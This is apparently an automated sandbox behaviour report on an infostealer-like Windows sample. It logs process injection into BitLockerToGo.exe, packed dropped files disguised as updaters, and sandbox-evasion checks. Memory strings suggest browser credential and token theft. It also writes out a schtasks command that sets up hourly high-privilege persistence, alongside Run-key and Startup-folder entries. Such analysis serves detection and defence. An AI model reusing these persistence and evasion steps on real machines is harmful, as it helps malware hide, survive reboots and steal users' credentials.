Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\KSExO5GhJ2KIj6jiDKtz.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\KSExO5GhJ2KIj6jiDKtz.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\KSExO5GhJ2KIj6jiDKtz.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\KSExO5GhJ2KIj6jiDKtz.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Section loaded: apphelp.dll	Jump to behavior

Source: EdgeMS2.lnk.3.dr

LNK file: ..\..\..\..\..\..\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: file.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: file.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: file.exe

Static file information: File size 12249088 > 1048576

Source: file.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x49e000
Source: file.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x698e00

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: file.exe, 00000000.00000003.2239999857.0000019161670000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2264369355.000000C000728000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2266023505.000000C0017B6000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2266023505.000000C0017F0000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.4555474593.000000000312F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: file.exe, 00000000.00000003.2239999857.0000019161670000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2264369355.000000C000728000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2266023505.000000C0017B6000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2266023505.000000C0017F0000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.4555474593.000000000312F000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Unpacked PE file: 9.2.MSIUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\KSExO5GhJ2KIj6jiDKtz.exe	Unpacked PE file: 10.2.KSExO5GhJ2KIj6jiDKtz.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Unpacked PE file: 11.2.MSIUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Unpacked PE file: 15.2.oobeldr.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Unpacked PE file: 20.2.AdobeUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Unpacked PE file: 22.2.AdobeUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Unpacked PE file: 23.2.EdgeMS2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_02ECF280 VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualAllocEx,LoadLibraryA,GetProcAddress,WriteProcessMemory,WriteProcessMemory,CreateRemoteThread,WaitForSingleObject,

3_2_02ECF280

Source: initial sample

Static PE information: section where entry point is pointing to: .MPRESS2

Source: file.exe	Static PE information: section name: .xdata
Source: l2[1].exe.3.dr	Static PE information: section name: .MPRESS1
Source: l2[1].exe.3.dr	Static PE information: section name: .MPRESS2
Source: KSExO5GhJ2KIj6jiDKtz.exe.3.dr	Static PE information: section name: .MPRESS1
Source: KSExO5GhJ2KIj6jiDKtz.exe.3.dr	Static PE information: section name: .MPRESS2
Source: AdobeUpdaterV2.exe.3.dr	Static PE information: section name: .MPRESS1
Source: AdobeUpdaterV2.exe.3.dr	Static PE information: section name: .MPRESS2
Source: MSIUpdaterV2.exe.3.dr	Static PE information: section name: .MPRESS1
Source: MSIUpdaterV2.exe.3.dr	Static PE information: section name: .MPRESS2
Source: EdgeMS2.exe.3.dr	Static PE information: section name: .MPRESS1
Source: EdgeMS2.exe.3.dr	Static PE information: section name: .MPRESS2
Source: oobeldr.exe.10.dr	Static PE information: section name: .MPRESS1
Source: oobeldr.exe.10.dr	Static PE information: section name: .MPRESS2

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F262E1 push esp; ret	3_2_02F262E3
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F44062 push ss; ret	3_2_02F44064
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F40482 push ss; ret	3_2_02F40484
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E2CFDB push cs; iretd	3_2_02E2D025
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E33F59 push ecx; ret	3_2_02E33F6C

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\l2[1].exe	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\KSExO5GhJ2KIj6jiDKtz.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\KSExO5GhJ2KIj6jiDKtz.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Jump to dropped file

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

File created: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR" /sc HOURLY /rl HIGHEST

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeMS2.lnk

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeMS2.lnk

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26			Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26			Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_02EEE170 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

3_2_02EEE170

Source: C:\Users\user\Desktop\file.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Contains functionality to implement multi-threaded time evasion

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_07EBC230 CreateThread,Sleep, call eax

3_2_07EBC230

Found API chain indicative of sandbox detection

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Sandbox detection routine: GetCursorPos, DecisionNode, Sleep

graph_3-121875

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_3-116128

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Evasive API call chain: GetPEB, DecisionNodes, Sleep

graph_3-121876

Found stalling execution ending in API Sleep call

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Stalling execution: Execution stalls by calling Sleep

graph_3-125121

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: GetCursorPos,GetCursorPos,GetCursorPos,Sleep,GetCursorPos,Sleep,GetCursorPos,

3_2_02E5DB00

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Window / User API: threadDelayed 451	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Window / User API: threadDelayed 533	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Window / User API: threadDelayed 8293	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Window / User API: threadDelayed 9995	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_3-124818

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_3-125768

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 5728	Thread sleep time: -30101s >= -30000s	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 6448	Thread sleep time: -699000s >= -30000s	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 5728	Thread sleep time: -455961s >= -30000s	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 6448	Thread sleep time: -1599000s >= -30000s	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 5728	Thread sleep time: -8384223s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe TID: 2832	Thread sleep count: 9995 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe TID: 2832	Thread sleep time: -2248875s >= -30000s	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_02F449B0 GetSystemTime followed by cmp: cmp eax, 04h and CTI: jc 02F449F1h

3_2_02F449B0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EC6000 CreateDirectoryA,FindFirstFileA,FindNextFileA,GetLastError,FindClose,	3_2_02EC6000
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EE6770 CreateDirectoryA,FindFirstFileA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,GetLastError,SetFileAttributesA,GetLastError,RemoveDirectoryA,GetLastError,GetLastError,std::_Throw_Cpp_error,std::_Throw_Cpp_error,	3_2_02EE6770
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E31F9C FindClose,FindFirstFileExW,GetLastError,	3_2_02E31F9C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E93F40 SHGetFolderPathA,FindFirstFileA,FindNextFileA,FindClose,CreateDirectoryA,CreateDirectoryA,CreateDirectoryA,CopyFileA,CreateDirectoryA,CreateDirectoryA,CopyFileA,CopyFileA,	3_2_02E93F40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E32022 GetLastError,GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	3_2_02E32022
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E938D0 FindFirstFileA,FindNextFileA,GetLastError,FindClose,	3_2_02E938D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EDFF00 CreateDirectoryA,FindFirstFileA,CreateDirectoryA,CopyFileA,FindNextFileA,FindClose,GetLastError,GetLastError,	3_2_02EDFF00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E4FC2F FindFirstFileExW,	3_2_02E4FC2F

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

3_2_02EE06D0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Thread delayed: delay time: 30101

Jump to behavior

Source: BitLockerToGo.exe, 00000003.00000003.2328545556.00000000074F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CT service, encrypted_token FROM token_servicerr global passwords blocklistVMware20,11696487552
Source: BitLockerToGo.exe, 00000003.00000002.4563708382.00000000074C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Ven_VMware&P
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: BitLockerToGo.exe, 00000003.00000003.2328545556.00000000074F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: r global passwords blocklistVMware20,11696487552
Source: BitLockerToGo.exe, 00000003.00000003.2328545556.00000000074F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ra Change Transaction PasswordVMware20,11696487552
Source: BitLockerToGo.exe, 00000003.00000003.2328545556.00000000074F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: BitLockerToGo.exe, 00000003.00000003.2328545556.00000000074F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: formVMware20,11696487552
Source: BitLockerToGo.exe, 00000003.00000002.4555474593.00000000031A7000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.4555474593.000000000312F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: BitLockerToGo.exe, 00000003.00000002.4564079502.00000000074D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}iG8
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: BitLockerToGo.exe, 00000003.00000003.2268651425.000000000317E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
